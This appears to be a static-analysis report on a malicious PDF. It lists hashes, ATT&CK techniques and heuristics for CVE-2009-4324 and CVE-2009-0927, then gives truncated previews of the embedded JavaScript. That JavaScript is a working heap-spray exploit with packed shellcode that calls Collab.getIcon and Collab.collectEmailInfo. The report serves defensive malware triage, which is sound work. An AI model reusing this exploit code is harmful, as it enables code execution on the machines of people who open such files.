Malicious PDF — malware analysis report

Static analysis result for SHA-256 53b26d7f278676b1…

MALICIOUS

PDF

809.6 KB Created: 2009-07-08 10:53:46 +08:00 Authoring application: Acrobat Distiller 7.0 (Windows) First seen: 2026-05-10
MD5: 312ae0d2b0417903c1b4a9af9ac687ae SHA-1: 4ceffd2dcdd045555300c0ef9fe7b58f85f56287 SHA-256: 53b26d7f278676b1d17039b5f2b6b8f82a455465ae749dc85202c87022fd6c0c
210 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF sample contains embedded JavaScript that is heavily obfuscated and appears to be designed to exploit known vulnerabilities, specifically CVE-2009-4324 (media.newPlayer) and CVE-2009-0927 (Collab.getIcon). The JavaScript's behavior is described as 'heap_spray' and it uses 'unescape', indicating it's preparing to execute shellcode. The generic stage recovery heuristic further suggests it's a downloader or exploit stage. No specific malware family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9995

Heuristics 7

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (matched in decompressed stream)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdfx/1.3/In PDF document text

Related samples 4

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0017_000.js pdf-javascript-stream PDF /JS object 17 at offset 0x4DA 5129 bytes
SHA-256: e172f2fbd8ed88fdc15db9e99a5397b7954ebdb9867171012edf7ce04744442f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pGvRIJZpqdN;
for(i=0;i<18000;i++)
	pGvRIJZpqdN=pGvRIJZpqdN+0x60;
var unes=unescape;
function rep(count,what){
          var v = "";
          while (--count >= 0) v += what;
          return v;
}

function myunes(buf) {
          var ret='';
          for (var x=0;x < buf["\x6c\x65\x6e\x67\x74\x68"]; x+=2) {
                  ret += util["\x62\x79\x74e\x54\x6f\x43\x68\x61\x72"](Number('0x'+buf["\x73\x75\x62\x73\x74\x72"](x,2)));//
          }
          return ret;
}

pGvRIJZpqdN = unes("%u4341%u4b49%u11EB%u5BFC%u334B%u66C9%ub0B9%u8001%u0B34%uE2f9"+
"\x25\x75EBFA\x25\x75E805\x25\x75FFEB\x25\x75FFFF\x25\x75F911\x25\x75F9F9\x25\x75A3F9\x25\x7572AC\x25\x757815\x25\x759D15\x25\x75F9FD\x25\x7572F9"+
"%u110D%uF869%uF9F9%u0172%u1611%uF9F9%u70F9%u06FF"+
"%u91CF%u6254%u2684%uED11%uF9F8%u70F9%uF5BF%uCF06"+
"%uD091%u3FEB%u11AF%uF8FC%uF9F9%uBF70%u06E9%u91CF"+
"%uC5A0%u82FE%u0F11%uF9F9%u70F9%uEDBF%uCF06%u8791"+
"%u1B21%u118A%uF91E%uF9F9%uBF70%uCACD%u1230%u72FA"+
"%uC5B7%u387A%uA8FD%uF993%u06A8%uF5AF%u7AA0%u0601"+
"%u098D%uB9C4%uF9E6%u8FF9%u7010%uC5B7%uF993%uF993"+
"%uF993%uFB93%uF993%u8F06%u06C5%uE9AF%uBF70%u7ABD"+
"%uF901%u328D%uF993%uF993%uF993%uFD93%u8F06%u06BD"+
"%uEDAF%uBF70%u7AB1%uF901%u4C8D%uC178%uA9DC%uBFBD"+
"%uB772%u8CC5%u7854%uF941%uF9EB%uA9F9%uA99D%u8CBD"+
"%u7858%uFD41%uF9EB%u16F9%u1307%u8C57%u406C%uFFF9"+
"%uF9F9%u1578%uF1F9%uF9F9%uAEAF%u0972%u3F78%uEBE9"+
"%uF9F9%u3D72%u397A%u72F1%u0A01%u405D%uFFF9%uF9F9"+
"%uB0B0%uB0B0%uCD78%u17F1%u0707%u7C16%u8C30%uA608"+
"%u06A7%uC58F%u8F06%u06B1%uBD8F%u1906%uAFAC%u589D"+
"%uF9C9%uF9F9%u397C%uEA81%u72C7%uF5B9%u72C7%uE589"+
"%u72C7%uF1A7%uC754%u9172%u12F1%uC7F4%uB972%uC7CD"+
"%u5172%uF941%uF9F9%u22CA%u3C72%uA4A7%uFD3B%uAAF9"+
"%uAFAC%uCFAE%u9572%uE1DD%u72CF%uC5BC%u72CF%uFCAD"+
"%uFA81%uC72C%uB372%uC7E1%uA372%uFAD9%u1A24%uB0C5"+
"%u72C7%u72CD%u0CFA%u06CA%uCA05%u5539%u3DC3%uFE8D"+
"%u3638%uFAF4%u1201%uCF0B%u85C2%uEDDD%u268C%u3B72"+
"%u397A%uC7DD%uE172%u24FA%uC79F%uF572%uC7B2%uA372"+
"\x25\x75FAE5\x25\x75C724\x25\x75FD72\x25\x75FA72\x25\x75123C\x25\x75CAFB\x25\x757239\x25\x75A62C"+
"%uA4A7%u3BA2%uF9F1%uF911%uF9F9%uA1F9%u397A%u3AFC");

	
function exp() {
	var sc1="";
	blah = rep(128, unes("%u4242%u4242%u4242%u4242%u4242")) +sc1+ pGvRIJZpqdN;
	bbk = unes("%u4242%u4242");
	wap = 20+blah["\x6c\x65\x6e\x67\x74\x68"]
	while (bbk["\x6c\x65\x6e\x67\x74\x68"]<wap) 
		bbk+=bbk;
	fillbk = bbk["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, wap);
	bk = bbk["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, bbk["\x6c\x65\x6e\x67\x74\x68"]-wap);
	while(bk["\x6c\x65\x6e\x67\x74\x68"]+wap<0x40000) bk = bk+bk+fillbk;
	mm = new Array();
	for (i=0;i<200;i++)
		 mm[i] = bk + blah;
	of = rep(4096, myunes("0a0a0a0a"));
	var a=["\x5f\x4e\x2e\x62\x75\x6e\x64\x6c\x65"];//next time
	Collab["g\x65t\x49\x63\x6f\x6e"](of+a[0x0]);
}


function start() 
{
	if (app.viewerVersion >= 7.0){
		plin =rep(1124,unes("%u0b0b%u0028%u06eb%u06eb")) + unes("%u0b0b%u0028%u0aeb%u0aeb") + unes("%u4346%u4a4b") + rep

		(122,unes("%u0b0b%u0028%u06eb%u06eb")) + pGvRIJZpqdN  + rep(1256,unes("%u4a4b%u4748"));
	} 
	else {
		Ef6 =  unes("%uf6eb%uf6eb") + unes("%u0b0b%u0019");
		plin = rep(80,unes("\x25\x754141\x25\x754141")) + pGvRIJZpqdN  + rep(80,unes("\x25\x754241\x25\x754142"))+ unes("\x25\x75f7e9\x25\x75fff9")+unes("\x25\x75ffff\x25\x75ffff");
		while ((plin.length % 8) != 0) 
			plin = unes("\x25\x754141") + plin;
		plin += rep(2626,ef6);
	}
		if (app.viewerVersion >= 6.0){
 		Collab["c\x6fll\x65\x63\x74\x45\x6d\x61\x69lInfo"]({subj:0,msg:plin});
	}
}


if(app.viewerVersion>9.0){
	var AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc = unes("\x25\x750\x630\x63\x25\x750\x630\x63");
	var Qsd = unes("\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c%u5a51%u4874%u5961%u6b71%u4772%u6a47%u4a73%u6247%u654b%u734b%u4858%u6371%u717a%u7672%u626e%u626e%u455a%u4243%u6764%u7646%u696b%u6a6e%u4e61%u6c6d%u7350%u5168%u7171%u5574");
	while(AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.length <= 3
... (truncated)
generic_stage_recovery_000.js deobfuscated-js generic stage recovery split-literal-normalize from JavaScript object 17 at offset 0x4DA 4874 bytes
SHA-256: f54963549ee85f30c12bf9146d1b0b0db2555759aca635b1c6aaca07f52150fa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pGvRIJZpqdN;
for(i=0;i<18000;i++)
	pGvRIJZpqdN=pGvRIJZpqdN+0x60;
var unes=unescape;
function rep(count,what){
          var v = "";
          while (--count >= 0) v += what;
          return v;
}

function myunes(buf) {
          var ret='';
          for (var x=0;x < buf["\x6c\x65\x6e\x67\x74\x68"]; x+=2) {
                  ret += util["\x62\x79\x74e\x54\x6f\x43\x68\x61\x72"](Number('0x'+buf["\x73\x75\x62\x73\x74\x72"](x,2)));//
          }
          return ret;
}

pGvRIJZpqdN = unes("%u4341%u4b49%u11EB%u5BFC%u334B%u66C9%ub0B9%u8001%u0B34%uE2f9%uEBFA%uE805%uFFEB%uFFFF%uF911%uF9F9%uA3F9%u72AC%u7815%u9D15%uF9FD%u72F9%u110D%uF869%uF9F9%u0172%u1611%uF9F9%u70F9%u06FF%u91CF%u6254%u2684%uED11%uF9F8%u70F9%uF5BF%uCF06%uD091%u3FEB%u11AF%uF8FC%uF9F9%uBF70%u06E9%u91CF%uC5A0%u82FE%u0F11%uF9F9%u70F9%uEDBF%uCF06%u8791%u1B21%u118A%uF91E%uF9F9%uBF70%uCACD%u1230%u72FA%uC5B7%u387A%uA8FD%uF993%u06A8%uF5AF%u7AA0%u0601%u098D%uB9C4%uF9E6%u8FF9%u7010%uC5B7%uF993%uF993%uF993%uFB93%uF993%u8F06%u06C5%uE9AF%uBF70%u7ABD%uF901%u328D%uF993%uF993%uF993%uFD93%u8F06%u06BD%uEDAF%uBF70%u7AB1%uF901%u4C8D%uC178%uA9DC%uBFBD%uB772%u8CC5%u7854%uF941%uF9EB%uA9F9%uA99D%u8CBD%u7858%uFD41%uF9EB%u16F9%u1307%u8C57%u406C%uFFF9%uF9F9%u1578%uF1F9%uF9F9%uAEAF%u0972%u3F78%uEBE9%uF9F9%u3D72%u397A%u72F1%u0A01%u405D%uFFF9%uF9F9%uB0B0%uB0B0%uCD78%u17F1%u0707%u7C16%u8C30%uA608%u06A7%uC58F%u8F06%u06B1%uBD8F%u1906%uAFAC%u589D%uF9C9%uF9F9%u397C%uEA81%u72C7%uF5B9%u72C7%uE589%u72C7%uF1A7%uC754%u9172%u12F1%uC7F4%uB972%uC7CD%u5172%uF941%uF9F9%u22CA%u3C72%uA4A7%uFD3B%uAAF9%uAFAC%uCFAE%u9572%uE1DD%u72CF%uC5BC%u72CF%uFCAD%uFA81%uC72C%uB372%uC7E1%uA372%uFAD9%u1A24%uB0C5%u72C7%u72CD%u0CFA%u06CA%uCA05%u5539%u3DC3%uFE8D%u3638%uFAF4%u1201%uCF0B%u85C2%uEDDD%u268C%u3B72%u397A%uC7DD%uE172%u24FA%uC79F%uF572%uC7B2%uA372%uFAE5%uC724%uFD72%uFA72%u123C%uCAFB%u7239%uA62C%uA4A7%u3BA2%uF9F1%uF911%uF9F9%uA1F9%u397A%u3AFC");

	
function exp() {
	var sc1="";
	blah = rep(128, unes("%u4242%u4242%u4242%u4242%u4242")) +sc1+ pGvRIJZpqdN;
	bbk = unes("%u4242%u4242");
	wap = 20+blah["\x6c\x65\x6e\x67\x74\x68"]
	while (bbk["\x6c\x65\x6e\x67\x74\x68"]<wap) 
		bbk+=bbk;
	fillbk = bbk["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, wap);
	bk = bbk["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, bbk["\x6c\x65\x6e\x67\x74\x68"]-wap);
	while(bk["\x6c\x65\x6e\x67\x74\x68"]+wap<0x40000) bk = bk+bk+fillbk;
	mm = new Array();
	for (i=0;i<200;i++)
		 mm[i] = bk + blah;
	of = rep(4096, myunes("0a0a0a0a"));
	var a=["\x5f\x4e\x2e\x62\x75\x6e\x64\x6c\x65"];//next time
	Collab["g\x65t\x49\x63\x6f\x6e"](of+a[0x0]);
}


function start() 
{
	if (app.viewerVersion >= 7.0){
		plin =rep(1124,unes("%u0b0b%u0028%u06eb%u06eb")) + unes("%u0b0b%u0028%u0aeb%u0aeb") + unes("%u4346%u4a4b") + rep

		(122,unes("%u0b0b%u0028%u06eb%u06eb")) + pGvRIJZpqdN  + rep(1256,unes("%u4a4b%u4748"));
	} 
	else {
		Ef6 =  unes("%uf6eb%uf6eb") + unes("%u0b0b%u0019");
		plin = rep(80,unes("\x25\x754141\x25\x754141")) + pGvRIJZpqdN  + rep(80,unes("\x25\x754241\x25\x754142"))+ unes("\x25\x75f7e9\x25\x75fff9")+unes("\x25\x75ffff\x25\x75ffff");
		while ((plin.length % 8) != 0) 
			plin = unes("\x25\x754141") + plin;
		plin += rep(2626,ef6);
	}
		if (app.viewerVersion >= 6.0){
 		Collab["c\x6fll\x65\x63\x74\x45\x6d\x61\x69lInfo"]({subj:0,msg:plin});
	}
}


if(app.viewerVersion>9.0){
	var AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc = unes("\x25\x750\x630\x63\x25\x750\x630\x63");
	var Qsd = unes("\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c%u5a51%u4874%u5961%u6b71%u4772%u6a47%u4a73%u6247%u654b%u734b%u4858%u6371%u717a%u7672%u626e%u626e%u455a%u4243%u6764%u7646%u696b%u6a6e%u4e61%u6c6d%u7350%u5168%u7171%u5574");
	while(AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.length <= 32768) 
		AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc+=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc;
	AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJ
... (truncated)

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